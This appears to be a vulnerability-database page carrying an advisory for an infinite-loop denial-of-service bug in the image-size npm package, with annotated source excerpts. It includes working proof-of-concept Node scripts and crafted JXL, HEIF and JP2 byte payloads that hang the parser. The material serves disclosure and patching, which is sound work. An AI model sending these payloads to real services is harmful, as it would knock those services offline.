Vulnerability Database

365,542

Total vulnerabilities in the database

image-size Denial of Service via Infinite Loop during Image Processing — image-size

Allocation of Resources Without Limits or Throttling

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31 export function detector(input: Uint8Array): imageType | undefined { const byte = input[0] if (byte in firstBytes) { const type = firstBytes[byte] if (type && typeHandlers[type].validate(input)) { return type } } const finder = (key: imageType) => typeHandlers[key].validate(input) //<-- return keys.find(finder) }

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60 export const JXL: IImage = { validate: (input: Uint8Array): boolean => { const boxType = toUTF8String(input, 4, 8) if (boxType !== 'JXL ') return false //<--- const ftypBox = findBox(input, 'ftyp', 0) //<--- if (!ftypBox) return false const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12) return brand === 'jxl ' },

findBox can lead to an infine loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37 export const readUInt32BE = (input: Uint8Array, offset = 0) => input[offset] * 2 ** 24 + // 0 + input[offset + 1] * 2 ** 16 + // 0 + input[offset + 2] * 2 ** 8 + // 0 + input[offset + 3] // 0 // https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75 function readBox(input: Uint8Array, offset: number) { // offset: 0 if (input.length - offset < 4) return const boxSize = readUInt32BE(input, offset) // 0 if (input.length - offset < boxSize) return // (8 - 0) < 0 => false return { name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL ' offset, // 0 size: boxSize, // 0 } } // https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84 export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0 while (offset < input.length) { // 0 < 8 => false const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 } if (!box) break // false if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false offset += box.size // offset += 0 } }

A similar issue occurs for HEIF and JP2 handlers:

  • https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
  • https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts

PoC

Usage:

node main.js poc1|poc2 // mkdir 2.0.1 // cd 2.0.1/ // npm i [email protected] const {imageSizeFromFile} = require("image-size/fromFile"); const {imageSize} = require("image-size"); const fs = require('fs'); // JXL const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x4A, 0x58, 0x4C, 0x20, // "JXL " ]); // HEIF // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x66, 0x74, 0x79, 0x70, // "ftyp" // 0x61, 0x76, 0x69, 0x66 // "avif" // ]); // JP2 // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x6A, 0x50, 0x20, 0x20, // "jP " // ]); const FILENAME = "./poc.svg" function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); } function poc1() { (async () => { await imageSizeFromFile(FILENAME) console.log('Done') // never executed })(); } function poc2() { imageSize(PAYLOAD) console.log('Done') // never executed } const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2 async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); } run(); // mkdir 1.2.0 // cd 1.2.0/ // npm i [email protected] const sizeOf = require("image-size"); const fs = require('fs'); // JXL const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x4A, 0x58, 0x4C, 0x20, // "JXL " ]); // HEIF // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x66, 0x74, 0x79, 0x70, // "ftyp" // 0x61, 0x76, 0x69, 0x66 // "avif" // ]); // JP2 // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x6A, 0x50, 0x20, 0x20, // "jP " // ]); const FILENAME = "./poc.svg" function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); } function poc1() { sizeOf(FILENAME) console.log('Done') // never executed } function poc2() { sizeOf(PAYLOAD) console.log('Done') // never executed } const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2 async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); } run(); // mkdir 1.1.1 // cd 1.1.1/ // npm i [email protected] const sizeOf = require("image-size"); const fs = require('fs'); // HEIF const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x66, 0x74, 0x79, 0x70, // "ftyp" 0x61, 0x76, 0x69, 0x66 // "avif" ]); const FILENAME = "./poc.svg" function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); } function poc1() { sizeOf(FILENAME) console.log('Done') // never executed } function poc2() { sizeOf(PAYLOAD) console.log('Done') // never executed } const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2 async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); } run();

Impact

Denial of Service

  • Published: Apr 2, 2025
  • Updated: Apr 30, 2025
  • GHSA: GHSA-m5qc-5hw7-8vg7
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 7.5
  • AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.